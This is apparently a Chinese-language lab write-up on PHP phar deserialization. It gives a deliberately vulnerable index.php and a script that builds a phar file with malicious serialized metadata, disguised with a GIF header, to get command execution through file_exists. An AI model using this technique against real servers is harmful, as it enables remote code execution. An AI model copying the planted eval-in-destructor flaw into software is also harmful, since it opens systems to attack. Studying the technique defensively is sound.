测试环境的过程大概是:构成出来的phar文件,并修改为任意后缀上传至服务器。通过index.php中存在的文件操作函数参数可控,把参数设置为 phar://上传文件名 即可导致命令执行。
index.php代码如下
<?php class foo { var $ha = 'echo "ok";'; function __destruct() { eval($this->ha); } } $ka = $_GET['file']; file_exists($ka);
可以看出 foo是一个危险的类,当危险对象被反序列化时会导致命令执行。但是在index.php中,只有一个file_exists()的文件操作函数。
构造phar文件的代码:
<?php //把要进行反序列化的对象放在此处 class foo { var $ha = 'echo "ok";'; function __destruct() { eval($this->ha); } } //生成对应可被利用的对象 $o = new foo(); $o->ha='echo "error";'; @unlink("phar.phar"); $phar = new Phar("phar.phar"); $phar->startBuffering(); $phar->setStub("GIF89a"."<?php __HALT_COMPILER(); ?>"); //设置stub,增加gif文件头用以欺骗检测 $phar->setMetadata($o); //将自定义meta-data存入manifest $phar->addFromString("test.txt", "test"); //添加要压缩的文件 //签名自动计算 $phar->stopBuffering(); ?>
运行此文件,生成可利用的 phar.phar 文件,并修改后缀为gif (ps:可以修改为任意后缀,但是因为这里做了一个GIF89a头的伪装,所以我就修改为gif了,头部特征也可以任意修改,但是<?php __HALT_COMPILER(); ?> 这段不能动,它是php标志识别phar文件的标志),为了方便,我直接把文件移动至了index.php的目录下
访问index.php,把file参数设置为phar://phar.gif 命令执行成功
一些其他可以触发成功的函数:
参考文章:https://paper.seebug.org/680/